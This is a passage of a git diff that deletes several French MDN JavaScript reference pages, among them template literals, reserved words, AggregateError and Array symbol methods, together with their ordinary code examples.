Voir aussi les pages {{jsxref("Object")}} et {{jsxref("Opérateurs/Initialisateur_objet","Initialisateur d'objet","",1)}} pour plus d'informations.

+ +
var o = { a: "toto", b: "truc", c: 42 };
+
+// notation raccourcie depuis ES6
+var a = "toto", b = "truc", c = 42;
+var o = {a, b, c};
+// plutôt que
+var o = { a: a, b: b, c: c };
+
+ +

Littéraux de tableaux

+ +

Voir aussi la page {{jsxref("Array")}} pour plus d'informations.

+ +
[1954, 1974, 1990, 2014]
+ +

Littéraux de chaînes de caractères

+ +

Un littéral de chaîne de caractères correspond à zéro ou plusieurs codets Unicode entourés de simples ou de doubles quotes. Les codets Unicode peuvent également être représentés avec des séquences d'échappements. Tous les codets peuvent apparaître dans un littéral de chaîne de caractères à l'exception de ces trois codets :

+ +
    +
  • U+005C \ (barre oblique inverse)
    • +
  • U+000D (retour chariot, carriage return, CR)
    • +
  • U+000A (saut de ligne, line feed, LF)
    • +
+ +

Avant la proposition consistant à rendre les chaînes JSON valides selon ECMA-262, les caractères U+2028 et U+2029 étaient également interdits.

+ +

Tous les codets peuvent être écrits sous la forme d'une séquence d'échappement. Les littéraux de chaînes de caractères sont évalués comme des valeurs String ECMAScript. Lorsque ces valeurs String sont générées, les codets Unicode sont encodés en UTF-16.

+ +
'toto'
+"truc"
+ +

Séquence d'échappement hexadécimale

+ +

Une séquence d'échappement hexadécimale consiste en la succession de \x et de deux chiffres hexadécimaux représentant un codet sur l'intervalle 0x0000 à 0x00FF.

+ +
'\xA9' // "©"
+
+ +

Séquence d'échappement Unicode

+ +

La séquence d'échappement Unicode est composée de \u suivi de quatre chiffres hexadécimaux. Chacun de ces chiffres définit un caractères sur deux octets selon l'encodage UTF-16. Pour les codes situés entre U+0000 et U+FFFF, les chiffres à utiliser sont identiques au code. Pour les codes supérieurs, il faudra utiliser deux séquences d'échappement dont chacune représentera un demi-codet de la paire de surrogates.

+ +

Voir aussi {{jsxref("String.fromCharCode()")}} et {{jsxref("String.prototype.charCodeAt()")}}.

+ +
'\u00A9' // "©" (U+A9)
+ +

Échappement de points de code Unicode

+ +

Apparu avec ECMAScript 2015, l'échappement de points de code Unicode permet d'échapper n'importe quel caractère en utilisant une notation hexadécimale. Il est possible de le faire pour échapper les points de code Unicode dont la représentation va jusqu'à 0x10FFFF. Avec la séquence « simple » d'échappement Unicode, il était nécessaire d'échapper respectivement les deux demi-codets d'une paire si on voulait échapper le caractère correspondant, avec cette nouvelle méthode, ce n'est plus nécessaire de faire la distinction.

+ +

Voir également {{jsxref("String.fromCodePoint()")}} et {{jsxref("String.prototype.codePointAt()")}}.

+ +
'\u{2F804}' // CJK COMPATIBILITY IDEOGRAPH-2F804 (U+2F804)
+
+// avec l'ancienne méthode d'échappement, cela aurait été écrit
+// avec une paire de surrogates
+'\uD87E\uDC04'
+ +

Littéraux d'expressions rationnelles

+ +

Voir la page RegExp pour plus d'informations.

+ +
/ab+c/g
+
+// Un littéral pour une expression rationnelle
+// vide. Le groupe non-capturant est utilisé pour
+// lever l'ambigüité avec les commentaires
+/(?:)/
+ +

Littéraux modèles (gabarits ou templates)

+ +

Voir également la page sur les gabarits de chaînes de caractères pour plus d'informations.

+ +
`chaîne de caractères`
+
+`chaîne de caractères ligne 1
+ chaîne de caractères ligne 2`
+
+`chaîne1 ${expression} chaîne2`
+
+tag `chaîne1 ${expression} chaîne2`
+ +

Insertion automatique de points-virgules

+ +

Certaines instructions JavaScript doivent finir par un point-virgule et sont donc concernées par l'insertion automatique de points-virgules (ASI pour automatic semicolon insertion en anglais) :

+ +
    +
  • Instruction vide
    • +
  • instruction de variable, let, const
    • +
  • import, export, déclaration de module
    • +
  • Instruction d'expression
    • +
  • debugger
    • +
  • continue, break, throw
    • +
  • return
    • +
+ +

La spécification ECMAScript mentionne trois règles quant à l'insertion de points-virgules :

+ +

1. Un point-vrigule est inséré avant un terminateur de ligne ou une accolade ("}") quand celui ou celle-ci n'est pas autorisé par la grammaire

+ +
{ 1 2 } 3
+// est donc transformé, après ASI, en :
+{ 1 2 ;} 3;
+ +

2. Un point-virgule est inséré à la fin lorsqu'on détecte la fin d'une série de jetons en flux d'entrée et que le parseur est incapable d'analyser le flux d'entrée comme un programme complet.

+ +

Ici ++ n'est pas traité comme opérateur postfixe s'appliquant à la variable b car il y a un terminateur de ligne entre b et ++.

+ +
a = b
+++c
+
+// devient, après ASI :
+
+a = b;
+++c;
+
+ +

3. Un point-virgule est inséré à la fin, lorsqu'une instruction, à production limitée pour la grammaire, est suivie par un terminateur de ligne. Les instructions concernées par cette règle sont :

+ +
    +
  • Expressions postfixes (++ et --)
    • +
  • continue
    • +
  • break
    • +
  • return
    • +
  • yield, yield*
    • +
  • module
    • +
+ +
return
+a + b
+
+// est transformé, après ASI, en :
+
+return;
+a + b;
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName("ES1")}}{{Spec2("ES1")}}Définition initiale.
{{SpecName('ES5.1', '#sec-7', 'Lexical Conventions')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-ecmascript-language-lexical-grammar', 'Lexical Grammar')}}{{Spec2('ES6')}}Ajout : littéraux binaires et octaux, échappements de points de code Unicode, modèles
{{SpecName('ESDraft', '#sec-ecmascript-language-lexical-grammar', 'Lexical Grammar')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.grammar")}}

+ +

Voir aussi

+ + diff --git "a/files/fr/web/javascript/reference/litt\303\251raux_gabarits/index.html" "b/files/fr/web/javascript/reference/litt\303\251raux_gabarits/index.html" deleted file mode 100644 index cea966a908..0000000000 --- "a/files/fr/web/javascript/reference/litt\303\251raux_gabarits/index.html" +++ /dev/null @@ -1,247 +0,0 @@ ---- -title: Littéraux de gabarits -slug: Web/JavaScript/Reference/Littéraux_gabarits -tags: - - Chaîne de caractères - - ECMAScript 2015 - - Guide - - JavaScript - - Littéraux de gabarits -translation_of: Web/JavaScript/Reference/Template_literals ---- -
{{JsSidebar("More")}}
- -

Les littéraux de gabarits sont des littéraux de chaînes de caractères permettant d'intégrer des expressions. Avec eux, on peut utiliser des chaînes de caractères multi-lignes et des fonctionnalités d'interpolation.

- -
-

Note : Dans les premières versions de la spécification ECMAScript 2015, cette fonctionnalité était intitulée « gabarits de chaîne de caractères ». Dans la suite de cet article, les expressions « gabarits de texte », « gabarits de libellés », « littéraux de gabarits » et « gabarits » seront équivalents.

-
- -

Syntaxe

- -
`texte`
-
-`ligne de texte 1
- ligne de texte 2`
-
-`texte ${expression} texte`
-
-etiquette `texte ${expression} texte`
-
- -

Description

- -

Les gabarits sont délimités par des caractères accent grave (` `)  au lieu des apostrophes doubles ou simples. Les gabarits peuvent contenir des espaces réservés (placeholders). Ces espaces sont indiqués par le signe dollar ($) et des accolades (${expression}). Les expressions dans les espaces réservés et le texte compris dans ces espaces sont passés à une fonction.

- -

Pour créer la chaîne finale, la fonction par défaut concatène simplement les différentes parties en une seule chaîne. Toutefois, on peut utiliser une fonction spécifique pour obtenir un comportement différent et recomposer la chaîne avec une autre logique. On parlera alors de gabarit étiqueté (cf. ci-après).

- -
let rep = 42;
-console.log(`La réponse est ${rep}`); // Gabarit simple avec la concaténation par défaut
-
-function concatenationAdHoc(chaines, reponse){
-  let parite;
-  if(reponse % 2 === 0){
-    parite = "paire";
-  } else {
-    parite = "impaire";
-  }
-  return `${chaines[0]}${parite}.`;
-}
-// concaténation spécifique où on modifie la sortie
-console.log(concatenationAdHoc`La réponse est ${rep}.`);
-
- -

Pour utiliser des accents graves dans un gabarit, on les échappera avec une barre oblique inverse (\) :

- -
`\`` === "`"; // true
- -

Les chaînes de caractères multi-lignes

- -

Tous les caractères de saut de ligne insérés dans la source font partie du gabarit. Avec des chaînes de caractères normales, il aurait fallu utiliser la syntaxe suivante pour obtenir des chaînes multi-lignes :

- -
console.log('ligne de texte 1\n'+
-'ligne de texte 2');
-// "ligne de texte 1
-// ligne de texte 2"
- -

Pour obtenir le même effet avec les gabarits, on peut désormais écrire :

- -
console.log(`ligne de texte 1
-ligne de texte 2`);
-// "ligne de texte 1
-//  ligne de texte 2"
- -

Interpolation d'expressions

- -

Pour intégrer des expressions dans des chaînes de caractères normales, il fallait utiliser la syntaxe suivante :

- -
let a = 5;
-let b = 10;
-console.log('Quinze vaut ' + (a + b) + ' et\nnon ' + (2 * a + b) + '.');
-// "Quinze vaut 15 et
-// non 20."
- -

On peut désormais utiliser le sucre syntaxique fourni par les gabarits pour rendre les substitutions plus lisibles :

- -
let a = 5;
-let b = 10;
-console.log(`Quinze vaut ${a + b} et
-non ${2 * a + b}.`);
-// "Quinze vaut 15 et
-// non 20."
- -

Imbrication de gabarits

- -

Parfois, l'imbrication d'un gabarit est la solution la plus simple (et peut-être la plus lisible) pour obtenir des chaînes de caractères configurables.

- -

En ES5 :

- -
let classes = 'header'
-classes += (isLargeScreen() ?
-   '' : item.isCollapsed ?
-     ' icon-expander' : ' icon-collapser');
-
- -

En ES2015 avec des gabarits et sans imbrication :

- -
const classes = `header ${ isLargeScreen() ? '' :
-    (item.isCollapsed ? 'icon-expander' : 'icon-collapser') }`;
- -

En ES2015 avec des gabarits imbriqués :

- -
const classes = `header ${ isLargeScreen() ? '' :
- `icon-${item.isCollapsed ? 'expander' : 'collapser'}` }`;
- -

Gabarits étiquetés

- -

Les gabarits étiquetés (tagged templates) sont une forme plus avancée de gabarits. On peut ici utiliser une fonction pour analyser les différents fragments du gabarit. Le premier argument passé à la fonction est l'ensemble de valeurs issues de chaînes de caractères sous la forme d'un tableau. Les arguments ensuite passés à la fonction seront les expressions contenues dans le gabarit. La fonction pourra ainsi créer une chaîne avec une autre forme de concaténation et utiliser une logique spécifique. La fonction utilisée pour le formatage du gabarit peut être nommée comme n'importe quelle autre fonction.

- -
let personne = 'Michou';
-let age = 28;
-
-function monEtiquette(chaines, expPersonne, expAge) {
-  let chn0 = chaines[0]; // "ce "
-  let chn1 = chaines[1]; // " est un "
-
-  // Techniquement, il y a une chaîne après
-  // l'expression finale (dans notre exemple),
-  // mais elle est vide (""), donc ne pas en tenir compte.
-  // var chn2 = chaines[2];
-
-  let chnAge;
-  if (expAge > 99){
-    chnAge = 'centenaire';
-  } else {
-    chnAge = 'jeunot';
-  }
-  // On peut tout à fait renvoyer une chaîne construite
-  // avec un gabarit
-  return `${chn0}${expPersonne}${chn1}${chnAge}`;
-}
-
-let sortie = monEtiquette`ce ${ personne } est un ${ age }`;
-
-console.log(sortie);
-// ce Michou est un jeunot
-
- -

Chaînes brutes

- -

La propriété spéciale raw, disponible sur le premier argument de la fonction du gabarit étiqueté, vous permet d'accéder aux chaînes brutes, telles qu'elles ont été entrées, sans traiter les séquences d'échappement.

- -
function etiquette(chaines) {
-  console.log(chaines.raw[0]);
-}
-
-etiquette`ligne de texte 1 \n ligne de texte 2`;
-// affichera dans la console :
-// "ligne de texte 1 \n ligne de texte 2"
-
- -

En outre, la méthode {{jsxref("String.raw()")}} a pour fonction de créer des chaînes de caractères brutes, exactement comme la fonction de gabarit et de concaténation de chaînes par défaut le ferait :

- -
let chn = String.raw`Salut\n${2+3}!`;
-// "Salut\n5!"
-
-chn.length;
-// 9
-
-chn.split('').join(',');
-// "S,a,l,u,t,\,n,5,!"
-
- -

Les gabarits étiquetés et les séquences d'échappement

- -

Comportement de ES2016

- -

Quant à ECMAScript 2016, les gabarits étiquetés se conforment aux règles de séquences d'échappement suivantes :

- -
    -
  • Les séquences d'échappement Unicode commencent par "\u", par exemple\u00A9
    • -
  • Les séquences d'échappement pour les points de code Unicode sont indiquées par "\u{}", par exemple \u{2F804}
    • -
  • Les séquences d'échappement hexadécimales commencent par "\x", par exemple \xA9
    • -
  • Les séquences d'échappement octales commencent par un "\0o" suivi d'un (ou plusieurs) chiffre(s), par exemple \0o251.
    • -
- -

Cela signifie qu'un gabarit étiqueté comme celui qui suit pose problème du fait que, selon la grammaire ECMAScript, un analyseur recherchera des séquences d'échappement Unicode valides, mais trouvera la syntaxe mal formée :

- -
latex`\unicode`
-// Génère, dans les anciennes versions ECMAScript (ES2016 et précédentes)
-// SyntaxError: malformed Unicode character escape sequence
- -

Révision ES2018 pour les séquences d'échappement illégales

- -

Les gabarits étiquetés doivent permettre l'intégration d'autres langages (par exemple, des DSL ou du LaTeX), dans lesquels d'autres séquences d'échappement sont fréquentes. La proposition Template Literal Revision pour ECMAScript (étape 4, à intégrer dans le standard ECMAScript 2018) supprime la restriction syntaxique des séquences d'échappement dans les gabarits étiquetés.

- -

Toutefois, les séquences d'échappement illégales doivent toujours être représentées dans la version "bidouillée". Elles seront affichées comme un élément {{jsxref("undefined")}} dans le tableau "bidouillé" :

- -
function latex(chn) {
- return { "bidouillee": chn[0], "brute": chn.raw[0] }
-}
-
-latex`\unicode`
-
-// { bidouillee: undefined, brute: "\\unicode" }
- -

Notez que la restriction sur les séquences d'échappement est uniquement supprimée pour les gabarits étiquetés, et non pour les gabarits de libellés non étiquetés :

- -
let mauvaise = `mauvaise séquence d'échappement : \unicode`;
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-template-literals', 'Template Literals')}}{{Spec2('ES2015')}}Définition initiale. Définie dans plusieurs sections de la spécification : Template Literals, Tagged Templates
{{SpecName('ESDraft', '#sec-template-literals', 'Template Literals')}}{{Spec2('ESDraft')}}Définie dans plusieurs sections de la spécification : Template Literals, Tagged Templates
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.grammar.template_literals")}}

- -

Voir aussi

- - diff --git "a/files/fr/web/javascript/reference/mots_r\303\251serv\303\251s/index.html" "b/files/fr/web/javascript/reference/mots_r\303\251serv\303\251s/index.html" deleted file mode 100644 index dae1cd3126..0000000000 --- "a/files/fr/web/javascript/reference/mots_r\303\251serv\303\251s/index.html" +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Mots réservés -slug: Web/JavaScript/Reference/Mots_réservés -translation_of: Web/JavaScript/Reference/Lexical_grammar#Keywords -translation_of_original: Web/JavaScript/Reference/Reserved_Words ---- -

Introduction

- -

Cet annexe présente les mots réservés. Les mots réservés ne doivent pas être utilisés en tant que noms de variables, de fonctions, de méthodes ou d'identifiants d'objets parce-que ECMAScript spécifie une utilité spéciale pour eux.

- -

Mots actuellement réservés

- -

Voici la liste des mots réservés actuellement utilisés en JavaScript :

- - - -

Mots réservés dans le futur

- -

Les mots suivants sont de futurs mots-clés réservés par la spécification ECMAScript. Bien qu'ils ne soient actuellement pas utilisés, ils ne peuvent pas servir d'identifiants d'objets car ils seront bientôt fonctionnels. (Notez que pour le moment, Mozilla réserve ces mots-clés seulement dans le code en mode strict. La plupart des autres navigateurs réservent ces mots-clés pour tout le code, qu'il soit strict ou non. Leur utilisation est souvent incompatbile entre les différents navigateurs. Mozilla réservera ces mots-clés à un code normal à l'avenir, pour correspondre aux spécifications des autres navigateurs).

- -

{{ gecko_minversion_header("2.1") }}

- -
Note: En commençant avec Javascript 1.9 (Firefox 5), ces derniers seront réservés même lorsque vous n'êtes pas en mode strict.
-Note: La version de JavaScript ci-dessus n'est pas officielle.
- - - -

Les mots suivants sont de futurs mots-clés réservés par la spécification ECMAScript lorsqu'ils se situent dans de code en mode strict, excepté lorsque let et yield ont leurs fonctions traditionnelles dans le code compilé comme JavaScript 1.7 ou plus:

- -
    -
  • implements
    • -
  • interface
    • -
  • let
    • -
  • package
    • -
  • private
    • -
  • protected
    • -
  • public
    • -
  • static
    • -
  • yield
    • -
- -

Note that while const is reserved as a future keyword by the ECMAScript specification, Mozilla and most other browsers implement it as a non-standard extension that may be standardized in a future version of ECMAScript.  Further, export and import were once implemented in Mozilla but have returned to reserved status in recent releases.

- -

Additionally, the literals null, true, and false are reserved in ECMAScript for their normal uses.

- -

Reserved Word Usage

- -

Reserved Words actually only apply to Identifiers (vs. IdentifierNames) . As described in es5.github.com/#A.1, these are all IdentifierNames which do not exclude ReservedWords.

- -

a.import
- a["import"]
- a = { import: "test" }.

- -

On the other hand the following is illegal because it's an Identifier, which is an IdentifierName without the Reserved Words. Identifiers are used for FunctionDeclaration and FunctionExpression.

- -

function import() {}

- -

 

- -

{{ languages( { "es": "es/Referencia_de_JavaScript_1.5/Palabras_Reservadas", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Mots_r\u00e9serv\u00e9s", "ja": "ja/Core_JavaScript_1.5_Reference/Reserved_Words", "pl": "pl/Dokumentacja_j\u0119zyka_JavaScript_1.5/S\u0142owa_zarezerwowane" } ) }}

diff --git a/files/fr/web/javascript/reference/objets_globaux/aggregateerror/index.html b/files/fr/web/javascript/reference/objets_globaux/aggregateerror/index.html deleted file mode 100644 index 782a968074..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/aggregateerror/index.html +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: AggregateError -slug: Web/JavaScript/Reference/Objets_globaux/AggregateError -tags: - - AggregateError - - Classe - - Experimental - - Interface - - JavaScript -translation_of: Web/JavaScript/Reference/Global_Objects/AggregateError ---- -
{{JSRef}}
- -

Un objet AggregateError représente une erreur lorsque plusieurs erreurs doivent être agrégées en une seule. Ce type d'exception est levée lorsque plusieurs erreurs sont rapportées par une opération, par exemple avec {{JSxRef("Promise.any()")}} lorsque l'ensemble des promesses qui lui sont passées échouent.

- -
-
- -

Constructeur

- -
-
AggregateError()
-
Crée un nouvel objet AggregateError.
-
- -

Propriétés des instances

- -
-
{{JSxRef("Error.prototype.message", "AggregateError.prototype.message")}}
-
Le message d'erreur. La valeur par défaut est "".
-
{{JSxRef("Error.prototype.name", "AggregateError.prototype.name")}}
-
Le nom de l'erreur. La valeur par défaut est "AggregateError".
-
- -

Exemples

- -

Intercepter une erreur AggregateError

- -
Promise.any([
-  Promise.reject(new Error("une erreur")),
-]).catch(e => {
-  console.log(e instanceof AggregateError); // true
-  console.log(e.message);                   // "All Promises rejected"
-  console.log(e.name);                      // "AggregateError"
-  console.log(e.errors);                    // [ Error: "une erreur" ]
-});
-
- -

Créer un objet AggregateError

- -
try {
-  throw new AggregateError([
-    new Error("une erreur"),
-  ], 'Coucou');
-} catch (e) {
-  console.log(e instanceof AggregateError); // true
-  console.log(e.message);                   // "Coucou"
-  console.log(e.name);                      // "AggregateError"
-  console.log(e.errors);                    // [ Error: "une erreur" ]
-}
-
- -

Spécifications

- - - - - - - - - - - - -
Spécification
{{SpecName('Promise.any', '#sec-aggregate-error-object-structure', 'AggregateError')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.AggregateError")}}

- -

Voir

- -
    -
  • {{JSxRef("Error")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/@@iterator/index.html b/files/fr/web/javascript/reference/objets_globaux/array/@@iterator/index.html deleted file mode 100644 index 1843ed0508..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/@@iterator/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: 'Array.prototype[@@iterator]()' -slug: Web/JavaScript/Reference/Objets_globaux/Array/@@iterator -tags: - - Array - - ECMAScript 2015 - - Iterator - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Array/@@iterator ---- -
{{JSRef}}
- -

La valeur initiale de la propriété @@iterator correspond à la valeur initiale fournie par l'itérateur {{jsxref("Array.prototype.values()", "values")}}.

- -

Syntaxe

- -
arr[Symbol.iterator]()
- -

Valeur de retour

- -

La première valeur fournie par {{jsxref("Array.prototype.values()","values()")}}. Si on utilise arr[Symbol.iterator] (sans les parenthèses) le navigateur renverra par défaut la fonction {{jsxref("Array.prototype.values()", "values()")}}.

- -

Exemples

- -

Parcourir un tableau avec une boucle for...of

- -
var arr = ['w', 'y', 'k', 'o', 'p'];
-var eArr  = arr[Symbol.iterator]();
-// il est nécessaire que l'environnement supporte
-// les boucles for..of et les variables
-// utilisées avec let ou const ou var
-for (let letter of eArr) {
-  console.log(letter);
-}
-
- -

Parcourir un tableau avec next

- -
var arr = ['w', 'y', 'k', 'o', 'p'];
-var eArr = arr[Symbol.iterator]();
-console.log(eArr.next().value); // w
-console.log(eArr.next().value); // y
-console.log(eArr.next().value); // k
-console.log(eArr.next().value); // o
-console.log(eArr.next().value); // p
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-array.prototype-@@iterator', 'Array.prototype[@@iterator]()')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-array.prototype-@@iterator', 'Array.prototype[@@iterator]()')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Array.@@iterator")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.keys()")}}
    • -
  • {{jsxref("Array.prototype.entries()")}}
    • -
  • {{jsxref("Array.prototype.forEach()")}}
    • -
  • {{jsxref("Array.prototype.every()")}}
    • -
  • {{jsxref("Array.prototype.some()")}}
    • -
  • {{jsxref("Array.prototype.values()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/@@species/index.html b/files/fr/web/javascript/reference/objets_globaux/array/@@species/index.html deleted file mode 100644 index 58064e558b..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/@@species/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: 'get Array[@@species]' -slug: Web/JavaScript/Reference/Objets_globaux/Array/@@species -tags: - - Array - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Array/@@species ---- -
{{JSRef}}
- -

La propriété d'accesseur Array[@@species] renvoie le constructeur Array.

- -

Syntaxe

- -
Array[Symbol.species]
-
- -

Valeur de retour

- -

Le constructeur {{jsxref("Array")}}.

- -

Description

- -

L'accesseur species renvoie le constructeur par défaut pour les objets Array. Les constructeurs des sous-classes peuvent le surcharger afin de modifier l'affectation du constructeur.

- -

Exemples

- -

La propriété renvoie le constructeur par défaut, dans le cas des objets Array, c'est le constructeur Array :

- -
Array[Symbol.species]; // function Array()
- -

Pour un objet dérivé, la valeur de species pour une classe MonArray sera le constructeur de cette classe. Vous pouvez surcharger ce comportement afin de renvoyer le constructeur Array :

- -
class MonArray extends Array {
-  // On surcharge le symbole species
-  // pour renvoyer le constructeur Array parent
-  static get [Symbol.species]() { return Array; }
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-get-array-@@species', 'get Array [ @@species ]')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-get-array-@@species', 'get Array [ @@species ]')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Array.@@species")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Array")}}
    • -
  • {{jsxref("Symbol.species")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/@@unscopables/index.html b/files/fr/web/javascript/reference/objets_globaux/array/@@unscopables/index.html deleted file mode 100644 index b61ceb5279..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/@@unscopables/index.html +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: 'Array.prototype[@@unscopables]' -slug: Web/JavaScript/Reference/Objets_globaux/Array/@@unscopables -tags: - - Array - - ECMAScript 2015 - - JavaScript - - Propriété - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Array/@@unscopables ---- -
{{JSRef}}
- -

La propriété symbol @@unscopable contient les noms des propriétés qui ne faisait pas partie du standard ECMAScript avant ES2015 (ES6). Ces propriétés sont exclues lors de liaisons effectuée via l'instruction with.

- -

Syntaxe

- -
arr[Symbol.unscopables]
- -

Description

- -

Les propriétés natives d'un objet Array qui sont exclues lorsqu'on utilise with sont copyWithin, entries, fill, find, findIndex, includes, keys et values.

- -

Voir la page sur le symbole {{jsxref("Symbol.unscopables")}} pour manipuler unscopables sur des objets personnalisés.

- -

{{js_property_attributes(0,0,1)}}

- -

Exemples

- -

Le code qui suit fonctionne bien pour ES5 et les versions antérieures. En revanche, pour ECMAScript 2015 (ES6) et les versions ultérieures où la méthode  {{jsxref("Array.prototype.keys()")}} existe, lorsqu'on utilise un environnement créé avec with, "keys" serait désormais la méthode et non la variable. C'est là que le symbole natif @@unscopables Array.prototype[@@unscopables] intervient et empêche d'explorer ces méthodes avec with.

- -
var keys = [];
-
-with(Array.prototype) {
-  keys.push("something");
-}
-
-Object.keys(Array.prototype[Symbol.unscopables]);
-// ["copyWithin", "entries", "fill", "find", "findIndex",
-//  "includes", "keys", "values"]
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-array.prototype-@@unscopables', 'Array.prototype[@@unscopables]')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-array.prototype-@@unscopables', 'Array.prototype[@@unscopables]')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Array.@@unscopables")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Symbol.unscopables")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/array/index.html b/files/fr/web/javascript/reference/objets_globaux/array/array/index.html deleted file mode 100644 index de1394bdd9..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/array/index.html +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: Constructeur Array() -slug: Web/JavaScript/Reference/Objets_globaux/Array/Array -tags: - - Array - - Constructeur - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Array/Array ---- -
{{JSRef}}
- -

Le constructeur Array() permet de créer des objets {{jsxref("Array")}}.

- -

Syntaxe

- -
[element0, element1, ..., elementN]
-
-new Array(element0, element1[, ...[, elementN]])
-new Array(longueurTableau)
- -

Paramètres

- -
-
elementN
-
Un tableau JavaScript est initialisé avec les éléments indiqués à moins qu'un seul argument ne soit passé (cf. longueurTableau ci-après). On notera que ce cas au limite ne s'applique qu'avec le constructeur Array. Si on utilise la forme littérale (avec les crochets), on peut initialiser un tableau avec un seul élément.
-
longueurTableau
-
Si le seul argument passé au constructeur Array est un entier entre 0 et 232-1 (inclus), le constructeur renverra un tableau dont la propriété length vaut ce nombre. Note : le tableau contiendra des éléments vides (à ne pas confondre avec des éléments qui vaudraient undefined). Si l'argument est un autre nombre, une exception {{jsxref("RangeError")}} sera levée.
-
- -

Exemples

- -

Utilisation de la notation littérale

- -

Les tableaux peuvent être créés avec une notation littérale :

- -
let fruits = ['Pomme', 'Banane'];
-
-console.log(fruits.length); // 2
-console.log(fruits[0]);     // "Pomme"
-
- -

Utilisation du constructeur avec un seul paramètre

- -

On peut créer des tableaux grâce au constructeur avec un seul paramètre numérique. On crée alors un tableau dont la propriété length vaut le nombre passé en argument et dont les éléments sont vides.

- -
let fruits = new Array(2);
-
-console.log(fruits.length); // 2
-console.log(fruits[0]);     // undefined
-
- -

Utilisation du constructeur avec plusieurs paramètres

- -

Si on utilise plus d'un argument, un nouveau tableau ({{jsxref("Array")}}) sera construit avec les éléments passés en arguments.

- -
let fruits = new Array('Pomme', 'Banane');
-
-console.log(fruits.length); // 2
-console.log(fruits[0]);     // "Pomme"
-
- -

Spécifications

- - - - - - - - - - -
Spécification
{{SpecName('ESDraft', '#sec-array-constructor', 'Array constructor')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Array.Array")}}

- -

Voir aussi

- -
    -
  • La classe {{jsxref("Array")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/concat/index.html b/files/fr/web/javascript/reference/objets_globaux/array/concat/index.html deleted file mode 100644 index bd788c4e7c..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/concat/index.html +++ /dev/null @@ -1,160 +0,0 @@ ---- -title: Array.prototype.concat() -slug: Web/JavaScript/Reference/Objets_globaux/Array/concat -tags: - - Array - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Array/concat ---- -
{{JSRef}}
- -

La méthode concat() est utilisée afin de fusionner un ou plusieurs tableaux en les concaténant. Cette méthode ne modifie pas les tableaux existants, elle renvoie un nouveau tableau qui est le résultat de l'opération.

- -
{{EmbedInteractiveExample("pages/js/array-concat.html")}}
- - - -

Syntaxe

- -
let nouveau_tableau = ancien_tableau.concat(valeur1[, valeur2[, ...[, valeurN]]])
- -

Paramètres

- -
-
valeurN{{optional_inline}}
-
Des tableaux et/ou des valeurs à concaténer dans le nouveau tableau. Si tous les arguments valeurN valent undefined, concat renverra une copie superficielle du tableau sur lequel elle est appelée. Voir ci-après pour plus de détails.
-
- -

Valeur de retour

- -

Une nouvelle instance de {{jsxref("Array")}}.

- -

Description

- -

La méthode concat permet de créer un nouveau tableau constitué des éléments de l'objet this sur lequel elle a été appelée, suivis dans l'ordre par, pour chaque paramètre, les éléments de ce paramètre (s'il s'agit d'un tableau) ou le paramètre lui-même (s'il ne s'agit pas d'un tableau). La concaténation ne « déplie » pas les tableaux imbriqués.

- -

La méthode concat ne modifie pas this ni aucun des tableaux passés en paramètres, mais renvoie une copie qui contient des copies des mêmes éléments combinées que ceux des tableaux originaux. Les éléments des tableaux originaux sont copiés dans le nouveau tableau comme suit :

- -
    -
  • Pour les références à des objets (et non les objets eux-mêmes) : concat copie ces références dans le nouveaux tableau. Le tableau original et le nouveau tableau feront référence au même objet. C'est-à-dire que si un objet référencé est modifié, ces changements seront visibles tant dans le nouveau que dans les tableaux originaux.
    • -
- -
    -
